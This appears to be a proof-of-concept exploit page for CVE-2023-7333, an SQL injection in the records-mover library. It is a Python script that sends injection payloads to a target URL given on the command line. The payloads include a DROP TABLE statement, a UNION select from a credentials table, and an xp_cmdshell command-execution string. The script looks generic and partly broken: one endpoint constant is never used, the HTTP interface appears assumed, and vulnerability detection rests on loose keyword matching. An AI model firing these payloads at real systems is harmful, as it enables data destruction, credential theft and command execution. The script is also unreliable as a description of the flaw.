CVE-2023-7333 bluelabsio records-mover SQL注入漏洞

# CVE-2023-7333 PoC - SQL Injection in bluelabsio records-mover Table Object Handler # Affected: records-mover <= 1.5.4 # Reference: https://github.com/bluelabsio/records-mover/commit/3f8383aa89f45d861ca081e3e9fd2cc9d0b5dfaa import requests import json # Target configuration TARGET_URL = "http://target-server/api/v1/table-handler" VULNERABLE_ENDPOINT = "/records-mover/table-object" # SQL Injection payload examples PAYLOADS = [ "table_name'; DROP TABLE users;--", "table_name' UNION SELECT * FROM credentials--", "table_name' AND (SELECT CASE WHEN 1=1 THEN 1/0 ELSE 0 END)--", "table_name'; EXEC xp_cmdshell('whoami');--" ] def test_sql_injection(target_url, payload): """Test for SQL injection vulnerability""" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (SQLi-Test)' } data = { 'table_name': payload, 'operation': 'move', 'source_db': 'source_database', 'target_db': 'target_database' } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) # Check for SQL error indicators error_indicators = ['sql', 'syntax', 'mysql', 'postgres', 'sqlite', 'error', 'exception'] response_lower = response.text.lower() if any(indicator in response_lower for indicator in error_indicators): print(f"[+] Potential SQL Injection detected with payload: {payload}") print(f"[+] Response: {response.text[:200]}") return True elif response.status_code == 500: print(f"[!] Server error (500) with payload: {payload}") return True except Exception as e: print(f"[-] Error testing payload: {e}") return False def exploit_bluelabsio_records_mover(target_url): """Main exploitation function""" print(f"[*] Testing CVE-2023-7333 on {target_url}") print(f"[*] Target: bluelabsio records-mover Table Object Handler") for payload in PAYLOADS: print(f"\n[*] Testing payload: {payload}") if test_sql_injection(target_url, payload): print(f"[+] Vulnerable!") print("\n[*] Mitigation: Upgrade to records-mover >= 1.6.0") print("[*] Patch: https://github.com/bluelabsio/records-mover/commit/3f8383aa89f45d861ca081e3e9fd2cc9d0b5dfaa") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit_bluelabsio_records_mover(sys.argv[1]) else: print("Usage: python cve_2023_7333_poc.py <target_url>") print("Example: python cve_2023_7333_poc.py http://vulnerable-server/api")